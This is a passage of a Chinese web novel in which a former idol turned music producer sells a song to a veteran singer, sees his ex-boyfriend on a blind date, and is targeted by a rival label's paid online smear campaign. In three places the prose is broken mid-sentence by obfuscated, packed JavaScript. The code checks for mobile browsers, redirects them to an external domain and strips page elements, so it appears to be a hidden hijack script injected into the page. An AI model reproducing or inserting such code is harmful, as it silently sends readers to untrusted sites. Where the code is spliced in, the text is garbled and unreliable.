“这些乐器你都会?”左思珈好奇地问。这些年她从未疏于保养,即便与许稚舒有十多岁的年纪差,也还是带有一些少女感的。 “嗯。”许稚舒微微点头。 “这么多,你是怎么有空学的?” “我从小就学钢琴,基础打得好。出道后一有假期就会去学别的乐器,上手快,自然学得也多。不过要说精通,肯定算不上。”许稚舒从不否认自己学得杂而不精,主要在他看来,他能用得上,就可以了。 说起来,他学每一门乐器的老师都是路煌给他找的,这些老师水平都很高,有自己的一套教学方法。教他入门可以说轻而易举,所以并没花特别多的时间。 “难怪你的歌会用那么多管弦乐,合成器用得很少。”左思珈是不懂编曲的,可这两天她和一个音乐人聊起许稚舒,对方倒是给了许稚舒很高的评价。不是说少用合成器音色就高级,而是许稚舒知道什么样的乐器能更好地展现他想表达的东西,这就需要音乐人有天分又要有非常大的耐心的去打磨。 “这算是我的一点小偏执,我不太喜欢合成器做出来的效果。”所以他的歌如果唱功不好,是真的唱不了。好在他们组合五个人没有一个唱功差的,他的歌才能被收录那么多首。 把音乐室的电源都打开,许稚舒才坐下:“左老师是对下次回归有了新想法吗?” 左思珈没有遮掩地说:“我的经纪人很赞同你之前的说法,觉得我应该回归到最开始的风格中。虽然我现在还没有办法百分之百认同,但我与其他音乐人聊过,他们对我的新歌都没有更好的想法。所以我还是想再找你聊聊。” 许稚舒很理解左思珈现在这种既着急,又怕心急吃不了热豆腐的心情。 “左老师,现在各大公司推出的歌手都以团体为主,在包装上是概念等于人设大于实力。你可能看到了这些团体的成功,所以对自己的风格产生了怀疑,想往那个方向靠。但那套玩法真的不适合你。 “你早期的音乐作品到现在还是被我放在循环列表里,我能在那些音乐里听到一种陪伴感,而不是树立一个人设,等待别人来追捧。你的粉丝在与你相当的这个年纪里肯定会遇到一些疑惑、虚无或者无奈,他们需要你通过歌曲的表达疏解他们的情绪,我认为这也是音乐必须存在的原因之一。 “可能以我现在的年纪跟你说这些话,你会觉得我天真,是在挑战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺漾显然不这么想:“初黎那个经营状况也不知道他怎么想的,居然会接手。他如果想力挽狂澜,找你是最保险的吧?” 许稚舒微微叹了口气,玩笑道:“他找我才是最不保险的。万一我心存怨恨,有心报复,初黎娱乐岂不是雪上加霜?” “你才不会。”贺漾笃定道。 许稚舒笑意浅了些:“说实话,我不希望他找我。干脆一点,对我和他都好。” 贺漾这才觉察自己似乎不应该给许稚舒打这个电话,语气低落下来:“嗯,以后我不跟你说他的事了。” 许稚舒没说好,也没说不好,只说:“我还有工作,先不和你说了。等你回来给我打电话,我去接你。” “好!” 挂了电话,许稚舒上楼,一推开音乐室的门,就听到音响里传出他录的Demo,是那天与路煌吃饭,他失眠后在家里写的歌。 而此时的左思珈正站在那里,全神贯注地听着歌,眼里透出了明显的光。 9. 第9章 “这首歌是你写的?”左思珈已经顾不上别的了,连忙问他。 “对。”许稚舒并未在意左思珈打开音响的行为,那台音响本来就是用来随便放些音乐的,跟他连接的平板也没设密码,想的就是谈工作休息的间隙,可以让客人自己选歌放松的。 “卖了吗?”左思珈眼神都带上了急切,“我很喜欢这首歌,感觉像是我以前肯定会第一时间定下来的歌曲风格。可以卖给我吗?” 许稚舒却犹豫了,他没有立刻回答,而是把咖啡拿出来,放到左思珈面前。随后打开自己那杯,慢慢喝了几口。 见他不说话,左思珈有点着急了,她真的太久没遇到这样让她心动的歌了。从音乐到歌词,没有一点不喜欢的,她甚至能一秒get到歌曲要表达的情绪。 “已经卖了吗?”左思珈追问。 许稚舒整理了情绪,才回:“没有。但这首歌我暂时没准备卖。” 这首歌的名字是《爱与不爱之间》,歌词里透露了太多他的情绪。如果路煌还会听他写的歌,或许会因为他表达的情绪受到影响,这是他不愿看到的。 “为什么?” 许稚舒借口说:“制作上还不成熟。” “这还不成熟?我觉得好得很!”左思珈明显是想继续争取的,“我觉得这首歌放在秋天发行,再合适不过了。你说我应该给予粉丝陪伴感,这首歌就完美符合啊。如果我的粉丝中有因感情不顺纠结的,我相信这首歌能帮她们很好地释放情绪。” 许稚舒再次沉默,《爱与不爱之间》交给左思珈唱,会是一个非常好的选择,甚至会是一个双赢的局面。可有的时候情绪上头了,他真的会有顾虑。 “我再考虑一下。”许稚舒说。 见他表情不太好,左思珈不知缘由,却能理解这中间恐怕有她不知道的情况。如果她和许稚舒认识得够早,她肯定会直接问,有什么困难她也愿意帮。可现在她除了对许稚舒的音乐有了解,别的几乎空白,根本没立场让许稚舒对她知无不言。 “好,我等你消息。如果你不想卖,我不会勉强;但如果要卖,一定先考虑我。”左思珈继续为自己争取。 这次许稚舒没有犹豫地应了。 送走左思珈,许稚舒没有立刻上楼。外面的天气不知什么时候阴了下来,上次左思珈来也是阴天。 许稚舒站在小院内,看着外面的街景,他知道自己此刻情绪不好,却没有深想,只是安静地站着,用外面的绿色抚慰心里的情绪。 啪嗒,吧嗒—— 几滴雨砸到许稚舒脸上,眨眼的工夫就倾泻而下。他赶紧进到大门内,从前台抽了几张纸巾简单擦了擦。 一阵风吹起,疾雨拍在玻璃上,斑斑点点,将风景切割得像是万花筒中缤纷的色块,也像许稚舒现在的心情,零碎得拣不到一块完整的快乐。 * 八月最后一天,贺漾结束工作回来了。没泄露行程,避免粉丝接机,只有许稚舒,准时准点地在接机口等他。 看到许稚舒,贺漾赶忙挥了挥手。 许稚舒冲他一笑,素面朝天的脸对上穿搭完整的贺漾,也没有被比下去。 周末的大雨带来的凉爽持续到今天,贺漾穿了一件真丝渐变灰的深V领衬衫,白色休闲裤加单鞋,是坐飞机舒适的关键。项链、手链、戒指这些用来装饰的一个不少,染成浅金的头发在脑后随意扎了一下。墨镜遮住了眉眼,却依旧是好看的。 “走走走,咱们先去吃饭,餐厅我昨天晚上就预定好了。”贺漾只背了个包,行李会由团队帮他带回来,为了尽快和许稚舒见面,贺漾比团队其他人提前一天回来。 “行。”许稚舒今天起晚了,吃了个水煮蛋就出门了,他想着等他们开回市里,正好是午饭时间。 “快看,那是许稚舒?旁边那个看起来是贺漾。” “我靠,真是他们!” “本人可真好看啊。” “要不要去要签名啊?” “没带纸笔呀!” 两个人还是太过显眼,就算许稚舒今天根本没收拾,衣服也不过是T恤加牛仔裤,还是架不住气质出众,总会惹人多看几眼,人多了自然就有人认出了他们。 “你下次去人多的地方还是戴副墨镜吧。”贺漾提醒。之前在团里,唯粉们会撕主唱、主舞、ACE,却并没有人撕门面,在脸这方面,许稚舒就是毫无争议的。 “我现在可是路人了,不过下次如果来接你,我会记得戴。”许稚舒真没想到还有人会关注到他。 “赶紧走。”贺漾拉了许稚舒一把。现在非团队组织的场合,像贺漾这样的艺人是不随便签名合影的,为了不被说耍大牌,还是赶紧走为好。 好在两个人都是轻装上阵,没一会儿,就离开了视线中心。 贺漾想去的餐厅位于酒店楼上,风景倒是其次,重点是餐厅从昨天开始推出的季节限定蟹黄面。每年就卖三个月,蟹都是当天现抓现蒸的,而且是全手工剥蟹,小小一碗,全是精华。就算现在不是蟹最肥美的时候,也敌不住初秋吃蟹的心。 “欢迎光临。”出了电梯,餐厅服务员迎上来。 贺漾报了预约用的手机号。 “好的,两位这边请。” 工作日的中午,餐厅吃饭的人不多。服务员将两人往窗边引,预约的好处除了必然能吃到想吃的,还有就是座位一般都比较好。 刚走近,两个人就看到了熟悉的人影——路煌。 而此时,路煌对面坐着一位二十出头的女性,只是一个侧脸,看不全长相,一身小香风的套装,气质很好,长发散于背上,绸缎般的光泽感一看就是精心保养的。 路煌一抬眼,也看到了他们。双方都是一愣,路煌随即移开视线,继续跟女生说话,很有风度。 贺漾则转头看了看许稚舒,小声说:“我们换一家餐厅吧。” 如果路煌主动跟他们打招呼,贺漾也不会想拉许稚舒走。现在这样,贺漾反而不能不顾许稚舒的心情。 许稚舒一笑:“不用。坐下来看不到的。” 靠窗的桌子之间是特地做了矮屏遮挡的,谁都不影响谁。 见许稚舒已经坐下来了,贺漾也没再劝,好在两桌之间还隔了一张桌子,说话不用担心被听到。 贺漾很快点好了餐。如果不是在这儿遇到了路煌,贺漾或许会问一句两人有没有联系。现在见到人了,路煌的态度让他一时摸不准,不提是最好的。 于是他说起了音乐节目的事,这期间菜品陆续送上来,两个人边吃边聊。 “这档节目的第一季反响很不错。”当时活动多,许稚舒不是追着看的,而是一整季都结束后,他趁着假期专挑演唱的部分看了。至于点评和投票环节他都略过了,比起别人怎么评价,他更遵从自己内心的评价标准。 “嗯,我的经纪人也是因为第一季还不错,没有什么撕逼大战,才跟我说了节目组的邀请。你觉得我适合参加这个节目吗?”如果要论在音乐上的专业性,贺漾肯定是会问许稚舒的。 许稚舒考虑了片刻,说:“我们还不清楚第二季节目组都邀请了谁,又有谁会愿意参加,现在凭空给你 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“太好了!那我就让经纪人回话了。”贺漾把高兴都写脸上了,比起别人,他认为许稚舒更能帮他展现出个性。 许稚舒微笑着点头。 “合同我直接找阿言谈?”贺漾问。亲兄弟也得明算账,他不可能让许稚舒白帮他干。 “行。” 贺漾殷勤地给他夹菜:“多吃点,吃好了脑子灵,能有更多好点子。” “不吃我脑子也挺灵。” “那就更灵一点。” 蟹黄面上来,味道的确好,新鲜的蟹只有鲜香,一点腥气都没有。一小碗面刚见底,路煌那边就准备离开了。 既然一开始就没打招呼,许稚舒和贺漾都装作没看见。 “诶?路哥,是你的前队友啊。” 三个人都没有要打招呼的意思,没想到却被跟路煌一起的女生认出来了。 “啊,这么巧啊。”贺漾并不指望许稚舒,自己演起了偶遇的惊喜。 “嗯。”路煌微微点头,目光落在了许稚舒身上。 许稚舒却没看他,而是在看那个女生。 话不能落地上,贺漾主动问路煌:“今天不忙吗?” “不忙。”他都在这儿了,说忙未免太假了。 女生也不见外,笑道:“你们好,我虽然不是你们的团粉,但也算路人粉。能见到你们本人很高兴。” 她都开口了,贺漾总不能无视她,只能问路煌:“这位是?” 路煌眉心微微收紧,似乎不知道怎么答。 倒是女生痛快道:“我是路哥的相亲对象。” 几乎是本能的,贺漾不受控制地看向许稚舒。 许稚舒很平静,气氛突然安静容易让女生多想,于是他很自然地接过话:“幸会。” 女生没察觉任何不妥,大大方方地笑着:“很高兴见到你们。” “你们慢慢吃,我们先走了。”路煌打断了继续聊下去的可能。 女生礼貌地冲两人点头道别,就跟着路煌一起离开了。 贺漾重新落座,却没了吃饭的胃口,想跟许稚舒说点什么,又怕伤着许稚舒。如果路煌没有相亲,贺漾还愿意相信许稚舒和路煌有和好的机会。现在,是真的要认清现实了。 见他一脸萎靡,许稚舒笑起来:“你那是什么表情?” 贺漾不知道说什么,好像说什么都不对。 许稚舒把剩下的一只煎包夹给他,说:“这样挺好,他在往前走了,我也该往前走了。” 10. 第10章 回到家,许稚舒仰躺在沙发上,似乎只有这样,才能让他觉得不那么累。 有时他会觉得上天在跟他开玩笑,明明分手后,源海市那么大,两个人应该没有碰面的机会了,却在短短不到半个月的时间里遇到了两次。 而今天的见面既让他觉得难受,又觉得欣慰。路煌回到了属于他的正轨上,他应该替路煌高兴。同时他自己也应该能松口气,在歌曲的发布上不用顾虑那么多了,毕竟路煌已经走入了新阶段,不会再回头了。 可道理懂得再多,他心里的不舒服也只有他自己知道。他告诉自己,这些情绪是可以存在的,他需要时间,只是身在其中,熬时间就成了看不到头的修行。 躺到腰酸,许稚舒才慢慢坐起来,随即拿出手机给左思珈发了消息,说歌曲可以卖给她。 他总要抓住点什么,才能在情绪的旋涡里得以生存。 左思珈几乎是秒回,表示明天就找他谈合同。 许稚舒无声地笑了笑——看,他也走出了向前的一步,真好。 在他默默消化情绪的同时,热搜上可就热闹了。 有人在机场拍到了许稚舒给贺漾接机,两个人一起离开的照片。这对许稚舒的粉丝来说可以说是渴了多日,终于看到了绿洲,那种救赎感和兴奋感从骨头缝里迸发出来。 照片上,贺漾保持着idol的素养,穿衣打扮都没落下,也是他素来喜欢的带着点华丽风格的打扮,无可挑剔。而跟他走在一起的许稚舒明显已经是素人的打扮了。可越是如此,他那张脸就越显得出众。 于是#许稚舒素颜天才#的话题直接冲顶。 【啊啊啊,我的小许!!!还是这么好看!!】 【你跟我说这是素颜?】 【皮肤状态也太好了。小许美得会让我觉得自己保养得很糙。】 【这张脸要是睡在我旁边,我每天早起都能笑醒!】 【此处应该@路煌,但路煌退网了QAQ。】 【为什么要转幕后啊,我的眼泪都要流干了,好想看你在舞台上的样子。】 【之前是跟路煌一起被拍到,现在是跟贺漾一起。虽然都不是稚舒单独的消息,但能看到就很安慰了。】 【这张脸还是这么能打。上次被拍到因为天黑没看清楚,今天这张看起来瘦了一些。】 【是啊,都转幕后了,日子不是应该更轻松吗?怎么还瘦了?】 【自己单干,要操心的东西多了吧?牛马很理解这种辛苦。】 【还是希望稚舒能好好照顾自己,别被欺负了。】 【哎,虽然很难看到他的消息了,可转幕后也好,继续在台前才容易被盯上。】 话题的热度持续了好久,足见许稚舒的人气。 * 之后十多天,许稚舒都投入到了左思珈新歌的录制上。这次歌曲的词、曲、编曲、录制和后期全部交给了许稚舒来做。 许稚舒工作室的设备让左思珈的经纪公司都无法挑剔,能做的就是把钱给得足足的,让许稚舒放心完成制作。 不过大公司在营销上也会下些功夫,有自己习惯的方式。比如这次,他们就用了许稚舒和左思珈合作作为噱头,为歌曲的宣传打响了第一枪。 许稚舒在Infinite时的影响力还完全散掉,很多许稚舒的唯粉并没出走,反而一心期待许稚舒的作品,只看之前许稚舒的素颜热搜能直接冲到第一位,就可见一般了。 对此,许稚舒并没有任何不满,只要不是过度营销,对给他提升在音乐制作方面的知名度是有好处的。也督促他一定要把该做的事做好。 对于左思珈的粉丝来说,许稚舒只是个年轻的音乐制作人,左思珈连年走下坡路,粉丝们的期待值已经不敢拉太满了。 可对许稚舒的粉丝来说,是铆足了劲儿等新歌的。能跟前辈合作,是对许稚舒的肯定。只不过之后就没有更多相关消息透露了,让许稚舒的粉丝很着急。 入夜,路家—— 路煊醒来,发现自己睡在了书房,原本只是想小眯一会儿,没想到睡过头了。陈玉欣出门旅行不在家,没人叫他。 看了一眼时间,已经半夜两点了。他捏了捏眉心,起身下楼喝水。 刚下到一楼,就看到小客厅的灯亮着。小客一般是他们的母亲或者陈玉欣请一两个朋友来家里做客闲聊的地方。比起大客厅,那里感觉更温馨一些,阳光也好,是下午茶的首选地。 路煊以为佣人忘记关灯了,走过去一看,才发现是路煌坐在那里,茶几上放了一个空的红酒瓶,醒酒器里的红酒没剩多少,他杯子里还有小半杯。 如果是以前,路煊肯定要说路煌几句,大半夜不睡觉,在家里喝酒,实在不像话。可现在,他真的没办法指责弟弟。 光影的变化让路煌注意到了路煊,可能是酒精让他的反应变慢了,一时没有隐藏住惊讶的情绪。但还是很快摆出一副随意的状态,道:“哥,你还没睡?” “应该我问你吧?”路煊走过去坐到他旁边。 路煊和路煌个头差不多,但路煊的五官要稍微柔和一些。这就会给人好相处的第一印象,在谈生意上是很占便宜的。只不过跟路煊打过交道的才知道,这个男人非常难对付。 路煌没有回答,只是把话题的对象又推回到路煊身上:“大嫂要知道你这么晚还不睡,肯定要说你。” 路煊看着已经有了醉意的路煌,不想让他再喝了,便随手把酒杯推远了些:“我偶尔晚睡一次没什么,倒是你,是今天睡不着,还是失眠有一段时间了?” 路煌没有正面回答,只说:“哥,你什么时候也开始关心这种琐碎的事了?” “你刚开始接手家里的事,有压力是正常的。但还是要注意身体,爷爷不愿意你待在娱乐圈,就是那个圈子作息实在太不稳定了。”路煊很清楚路煌为什么睡不着,肯定不是因为工作的原因。可如果他现在把这层遮掩揭掉,路煌恐怕更睡不着了。倒不如聊些别的,让路煌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442933|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少去想,反而会好一些。 “嗯,正在适应。”路煌回得很简短。 路煊胸腔起伏出明显的呼吸状态:“初黎娱乐现在上手了吗?” 路煌回来主要接手的是家里主营投资的公司,他也没想到爷爷收了个娱乐公司丢给路煌。 “嗯,在按章程做事了。不过它不可能成为家里主要的收入来源,只要能维持自身发展,别钱砸进去看不到水花就行了。”路煌知道怎么才能让初黎可能击起漂亮的水花,可如果那样,他真的很难满足家中的期待了。 “嗯。”路煌手里的部分路煊不参与,除非路煌需要他帮忙。 夜深人静,明明是很好的聊天机会,路煊却在起完头后,没办法继续了。他知道自己应该问一问路煌和许稚舒现在的状态,如果能为许稚舒做些什么,他不会拒绝。可他开不了口,因为自己和陈玉欣的问题,把压力全给到了路煌身上,他作为兄长,觉得愧疚。 而路煌这段时间都在相亲,他也可以问问有没有路煌喜欢的,却又没这个脸。 最后还是路煌看出了路煊多次的欲言又止,起身道:“时间不早了,咱们都回房间休息吧。” 路煊这才觉得解脱了。 * 许稚舒的进度完全按照预计的进行,后期许稚舒还在磨一磨,但已经给了左思珈一版,供她拍MV用。 拿到让自己完全能情感投入的歌,左思珈回到了自己的舒适区,带来的结果就是她工作格外积极,以前都是团队给她安排工作的时间,现在是她催着团队赶紧干活,她要尽快发歌。 上午十点,许稚舒准时来到工作室。今天除了左思珈新歌的后期,他也要开始为贺漾上节目的歌做新编曲了,工作还挺多。 “哥,咖啡。”乐言把刚做好的咖啡送到音乐室。 “谢谢。”许稚舒接过喝了一大口,醇香的咖啡豆让他心情舒畅。 “哥,有件事得跟你说一声。”乐言对现在的工作已经得心应手,一些可能与工作有关的小事,他也会挑出来跟许稚舒提一嘴。 “说吧。”许稚舒边问边将键盘和电脑都打开。 “安芷也要发新歌了,时间比左老师早一天。”乐言是今天早上看到的消息。 安芷比左思珈小三岁,却比左思珈出道晚了许多。左思珈开始走下坡的时候,正是安芷的上坡路。安芷舞蹈实力一般,但歌唱得不错。两个人都是solo女歌手,年纪又没差多少,自然会被拿出来比较。 近年来安芷发歌没有那么勤,但每一首反响都不错。这次两个人撞期,肯定又会被拿出来比较。 更重要的是,安芷是纬弦娱乐的艺人。虽然作为续约歌手,自己手里的权力更大一些,却依旧是纬弦娱乐可以拿出来说的王牌。 杨阅接手纬弦娱乐时已经扬言要对标Infinite做男团,眼下男团还没推出,却在没有任何前期铺垫的情况下宣布了安芷的回归日期,不得不让许稚舒怀疑这一手是不是故意的。 11.第11章 许稚舒跟杨阅没有往来,不过杨阅都这么大了,杨立致曾经做的那些烂事,杨阅不可能一点都不知道。 至于许稚舒的母亲有什么苦衷,是不是被骗的,别人并不在意,他们更关心的可能是许稚舒这个私生子的身份。尤其是对杨阅母子来说。 杨阅的母亲作为杨立致后娶的妻子,不可能不知道杨立致的为人,既然愿意嫁,而且能维持这么多年的婚姻,自然有她的一套认可逻辑。杨阅作为真正意义上在杨家长大的孩子,应该也是得到过父爱的,所以杨阅认可父亲,并不意外。 杨观的母亲在和杨立致离婚时,已经做了财产分割,包括杨立致死后,杨观分得多少财产都写在了离婚协议里。所以杨阅心里是有数的,也不可能妄想让离婚协议无效。 可许稚舒这个私生子,对杨阅和他母亲来说,就成了不确定因素。即便许稚舒从来没想过争杨家的东西,也不与杨立致往来,可谁信呢? 所以杨阅看不上他,是有理由的。如果真的是有心针对,也是有理由的。 不过目前看只是歌曲撞期,一定要说是针对,未免过于牵强。许稚舒恨的一直都是杨立致,对杨立致的其他子女没有什么想法,也不想恶意揣度。 “跟左老师那边联络一下,看看她那边打算怎么应对。”他作为幕后人员,如果需要他来为歌首站台,那左思珈就应该考虑换东家了。 “好的。那我们这边需要做什么准备吗?”乐言不放心,他也清楚,作为工作室打出去的第一枪,突然跳出个阻碍,的确让人头疼。 “暂时不用。”他能做的是保证歌曲质量,宣传的部分左思珈必然尽心尽力,剩下的就看市场反馈了。 晚些时候,左思珈联络了许稚舒,说公司正在抓紧制定新的宣传计划,内容比之前的多。 既然公司上心,许稚舒就放心了,别的没再多说。 而让许稚舒没想到的是,安芷的新歌宣传从次日就开始了。 纬弦娱乐先是放出了第一版的新歌预告,看MV的色调,应该是很轻盈的一首歌,甚至还有几分青春感。在这个年纪,选择这么一首看起来不再强调个性的作品,也是一种风格上的再造。 【虽然听有一小段伴奏,但已经是仙品了!】 【我安姐还是能打,狠狠期待!】 【安姐去年就没发歌,去年到现在,女solo歌手真是没一个能打的。果然乐坛没我安姐不行。】 【Infinite解散,音乐圈的确应该重新洗牌了。有实力的歌手不应该被团体压着,这是劣币驱逐良币。】 【你们宣传就宣传,拉踩Infinite是什么意思?】 【难道不是事实吗?】 【实事你爹啊!你要说别的团体我不跟你扯,但你说Infinite,咱们就得说道说道了。Infinite的现场全开麦从来没有拉胯过,歌曲也从来不是口水歌,你跟我说这叫劣币?】 原本Infinite的粉丝就还没从组合解散的阴霾中彻底走出来,别人宣传自己的歌曲,跟她们本身没有什么关系,可对方的粉丝把Infinite拉出来,还说他们是“劣币”,粉丝们可就不能忍了。 于是安芷的新歌的首个宣传视频下面就变成了骂战。 纬弦娱乐宣传部的灯大半夜依旧亮着。 员工喝着今天的不知道第一杯咖啡了,跟自己的宣传组长发牢骚:“这样的宣传方式是不是太激进了?我觉得局面有点失控了。” 组长倒还算淡定:“那就再找些水军。小杨总提出的宣传手段,咱们照着做就行了。人家是学管理出身的,肯定有自己的一套方法。” 员工点点头,就继续联系水军去了。 【依我看在这儿破防的应该不是Infinite的粉丝,而是某位成员的唯粉吧?毕竟Infinite都解散了,粉丝实在没必要跑来吵。倒是某位成员不是要和前辈合作了吗?还正好和安芷撞期了。如果没撞期,就算自己的歌写得不怎么样,背靠前辈也能有点水花。现在这个情况,如果被安芷杀得榜单前二十都进不去,可就暴露自己的真本事了。】 【哈哈哈,同意。某前辈现在虽然也挺糊的,但如果同期没有强力的对手,还是能糊弄一阵的。】 【哈哈哈,某成员可要抱好前辈的大腿哦。下次有没有合作的机会就不一定了。】 …… 由于时间已晚,粉丝们都休息了。趁这个时间引导话题走向,粉丝们正是战斗力薄弱的时候,等明早不知情的人进来,看到的就都是许稚舒没有真本事,全靠抱大腿的言论了。 这个方向左思珈的公司是完全没料到的。她们想过纬弦会针对左思珈,会买水军刷数据,甚至可能嘲讽左思珈还不退圈,但怎么都没想到对方会把许稚舒拉出来当靶子。 乐言大半夜收到消息,原本睡得正香,这下是彻底睡不着了。看看时间,又不忍心打扰许稚舒,只能打开电脑,默默关注起情况。 所以等许稚舒得到消息,都已经是早上了。 “这次讨论的走向的确奇怪,不过话说回来,在团里时,什么大风大浪没见过?你至于连觉都不睡了?”许稚舒心态很稳,不是他能咽下这口气,而是急也没用。 “以前咱们团队人多,有什么事大家坐在一起商量,总能想出办法。现在人少了,什么事都得格外上心才行。”乐言对待工作向来认真,更不愿意辜负许稚舒的信任。 “知道了。你今天在家补觉,别去工作事了。有事我会联系你。”工作室忙也是他在忙,乐言没有太多工作。 “好,那我关注着动向,有其他情况再跟你说。” 挂了电话,许稚舒吃起早餐。现在他既然转幕后了,就没有必要为这些议论做出回应。不过能这样丝滑地把话题转到他身上,如果说这些都是没有预谋的,许稚舒可不信。 他和安芷毫无交集,对方没有必要跟他产生不愉快。况且这是第一波宣传,上来就搞粉丝大战,安芷不至于这么蠢。 前往工作室的路上,许稚舒收到了来自贺漾、单长清和纪西卓的关心。许稚舒一一给他们回了,让他们不用担心。 关于他的身世,除了路煌,其他人是不知道的。所以即便许稚舒猜测这中间可能有杨阅的手笔,他也没办法解释自己为什么这么猜,索性还是不说为好。 “老板,早。你的咖啡。”上到一楼,李瑶把预定的咖啡递给他。这几天气温升高,很适合冰咖啡,但工作室没有准备,只能点外卖了。 “早,谢谢。”许稚舒接过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451663|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李瑶明显欲言又止。 “怎么了?”许稚舒笑问。 “那个……路哥今早联系我。” 许稚舒心里划过一丝说不清的滋味。从路煌把李瑶托给他,他就知道路煌可以随时通过李瑶打听他的事。只是没想到李瑶也不跟他撒谎,有什么就说什么了。 “说什么?”许稚舒佯装淡定地问。 “说网上粉丝吵得厉害,问需不需要他帮忙?”李瑶问得很小心。这两个人的关系她说不上话,她也不像乐言跟许稚舒特别熟,什么都敢问。路煌之所以找她,而不是直接联系许稚舒,中间的各种纠结她能明白。 之前贺漾给他带来消息,说路煌接手了初黎娱乐。如果需要对冲,明显初黎的团队是个好选择。 “帮我跟他说一声,谢谢他的好意。我既然已经转幕后了,就没必要回应了。现在Infinite的热度还没散完,话题扯到我身上,还有可以让他们讨论的点。再过些时间,我就算被拿出来,也不会有这么大热度了。如果我现在站出来跟他们吵,肯定会被说不是真心想转幕后的,到时候左右都是黑我的人有理,就太被动了。”许稚舒说了自己的想法。 李瑶点头表示理解:“我会给路哥回话。” 许稚舒微笑着点头:“今天阿言不过来,午饭就咱们俩吃。” 点餐的工作现在已经交到李瑶手上了。 “好的。” 李瑶应后,许稚舒就上楼去忙工作了。 * 然而许稚舒的沉默并没有换来网上的消停。有人开始就许稚舒是否有能力自立门户展开了讨论。带头起这个话题的人认为许稚舒在团里时的确有过不错的作品,但那是因为成员们给力,才让作品能够以最好的样子展现出来。现在脱离了Infinite,别人不一定能撑起来。 这下许稚舒的粉丝更不干了,如果说她们的底线是不能接受别人质疑许稚舒的脸,那么他写歌的才华就是排第二位不容质疑的。 仿佛纬弦娱乐要的就是这种热度,不仅借着这波热度发了安芷的第二个MV预告,杨阅还作为纬弦的新老板,接受了娱乐媒体的采访。 娱乐记者肯定不会放过这样的好机会,在前面铺垫完杨阅的求学经历、管理理念和对纬弦未来的畅想后,自然而然地将话题拉到了安芷与左思珈新歌撞期的问题上,问他有什么看法。 杨阅笑着面对镜头,打过粉底的脸在镜头下略显粗糙:“安老师的成绩向来很稳定,纬弦非常重视她的这次回归,相信会有一个非常不错的成绩,我也很期待她的新歌能够霸榜。至于撞期,我相信安老师没有任何问题,我们请的为安老师制作歌曲的团队非常专业,不是那种靠炒作或者抓着之前的名知度不放的小作坊,某些所谓的音乐人不过是仗着之前做idol的热度,并没有多少真本事。如果硬要拿来相比,是对安老师的不尊重。” 记者嘴角都要咧到耳朵根了,作为娱乐媒体,他们就喜欢这种不需要引导,就能制造话题的人。 而娱乐记者的愉快跟粉丝的愤怒是一起飙升的。纬弦娱乐的官博都被许稚舒的粉丝冲烂了。公司的公关部也找过杨阅几次,问他是不是应该缓和一下跟许稚舒粉丝的关系,都被杨阅拒绝了,说等安芷新歌发了,许稚舒的粉丝就闭嘴了。 12.第12章 安芷的新歌《棉花糖》准时上线。第一时间是铺天盖地的表示喜欢的评论。 【安姐最棒!太好听了!】 【安姐牛逼!今年女solo安姐简直是嘎嘎乱杀!】 【MV好好看,安姐好美!】 【我已经老了,但我的偶像依旧年轻貌美。】 【一秒爱上,已经单曲循环。】 【等待全面屠榜!】 然而五个小时过去了,在国内五大音乐排行榜上,《棉花糖》就仿佛没有发行过一样,前五十全部not in! 许稚舒是在睡前才打开软件听了这首歌。两个MV预告他都看了,作为一个音乐人,知名歌手发歌,他肯定是要听的。主要是学习人家的编曲,可能会对自己以后的创作有所启发。 一首歌听下来,MV拍得很不错,安芷的状态很好,拍这么一首带着青春恋爱味道的MV,并没有违和感,反而很容易获得年轻人的青睐。但歌曲本身…… 许稚舒不知道要怎么描述自己的感受,只能说精华都在MV的预告里了,难听算不上,但亮点也实在是抠不出来。甚至编曲在大部分情况下都透着一种公式化。 通常听到一首好歌,会让许稚舒兴奋得睡不着觉,反复去听,并且能够在听的过程中生出很大的想象空间,从而激发他的创作欲。但这首《棉花糖》显然不在其列,听完一次许稚舒就关了电脑准备睡觉了。 安芷新歌这糟烂的成绩就是一记响亮的耳光,结结实实地打在了纬弦娱乐脸上。随后就连安芷的粉丝也不干了。 【什么东西?我安姐两年没出新歌,结果拉了坨大的?】 【无语了,姐,你糊涂啊!!!】 【别跟我说什么听多了就好听了,难听就是难听,没有新意就是没有新意,少TM找理由让我刷数据。】 【作为粉丝,真的很失望。兴致勃勃地冲进来,结果给我听这个?纬弦我日你祖宗,没好歌就别来祸害我们安姐好吧?!】 【一直在盯榜单,就算我是安姐粉,现在也明白我姐这次恐怕是被纬弦做局了。】 【纬弦的新老板是傻逼吧?话说那么满,现在怎么收场?】 【我都替安芷感到尴尬,就这破歌,这烂成绩,人家骂安芷过度宣传、没本事硬炒作、买水军自吹,我都没脸反驳。】 【姐妹们,散了吧。好歌不用救,烂歌救不了。】 许稚舒没关注网上的评论,安心地进入睡梦。倒是纬弦娱乐的公关部,又是一晚上灯火通明。 